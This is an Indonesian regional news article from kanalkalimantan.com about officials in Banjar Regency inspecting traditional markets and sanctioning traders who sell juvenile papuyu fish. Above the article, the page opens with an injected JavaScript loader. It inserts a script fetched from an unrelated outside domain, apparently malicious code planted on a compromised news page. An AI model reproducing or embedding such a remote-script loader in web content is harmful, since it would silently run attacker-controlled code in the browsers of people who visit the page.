(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Dinas Ketahanan Pangan dan Perikanan (DKPP) Kabupaten Banjar bersama Dinas Kelautan dan Perikanan (DKP) Provinsi Kalimantan Selatan, Perumda Pasar Bauntung Batuah (PBB) dan Satpol PP melakukan kegiatan pengawasan dan sidak kepada para pedagang anakan ikan di pasar tradisional Sekumpul dan Pasar Martapura, Kamis (18/1/2024) pagi.
Ini dilakukan sehubungan adanya laporan dari masyarakat tentang maraknya penjualan anakan ikan papuyu atau betok.
Dalam kegiatan itu ada 10 pedagang yang terjaring. Petugas melakukan pembinaan dengan sanksi administratif kepada pedagang.
Baca juga: Laka Maut U Turn A Yani Km 29 Guntung Payung, Fortuner Dikemudikan Remaja 16 Tahun
“Jika sudah tiga kali ada teguran tetapi masih diindahkan selanjutnya akan kami adakan sanksi pidana, diharapkan ada efek jera bahwa menangkap anakan ikan dilarang oleh pemerintah,” ungkap Kasi Penanganan Pelanggaran dan Penegakkan Hukum DKP Provinsi Kalsel Singgih Honggo Seputro.
Kepala DKPP Kabupaten Banjar Sipliansyah Hartani melalui Kepala Bidang Pengembangan dan Pengawasan Usaha Perikanan Hery Suherman menjelaskan, sidak yang dilakukan sebagai tindak lanjut dari penegakan Perda Nomor 7 Tahun 2005.
Baca juga: Proyek 2023 Tak Kunjung Dibayar Pemko Banjarmasin, Balai Kota Didemo
“Ini upaya kita menjaga kelestarian alam dibidang perikanan, kalau tidak dilakukan apa jadinya nanti, dalam hal ini kita melakukan tindakan persuasif, kami menyarankan agar tidak melakukan penjualan anakan ikan lagi. Apabila tidak diindahkan, maka kami lakukan tindakan, sementara ini mereka menerima apa yang kami sarankan,” jelas Hery.
Sementara Kabag Humas Perumda PBB Gusti Andreansyah mengatakan, pihaknya sangat mendukung sidak tersebut karena anakan ikan harus dijaga dan dilestarikan.
Baca juga: TP PKK Kapuas-Dinsos Kapuas Serahkan Bantuan Bagi Lansia, Ibu Hamil, dan Balita
“Tidak hanya penjual yang kita berikan sosialisasi tetapi dari pengepul anakan ikan juga harus diberikan arahan, dari hulu dulu baru ke hilir, intinya Perumda PBB sangat mendukung kegiatan seperti ini,” ucap Gusti Andre.
Kegiatan pengawasan dan pembinaan serupa akan kembali dilaksanakan di pasar-pasar yang ada di Kabupaten Banjar. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.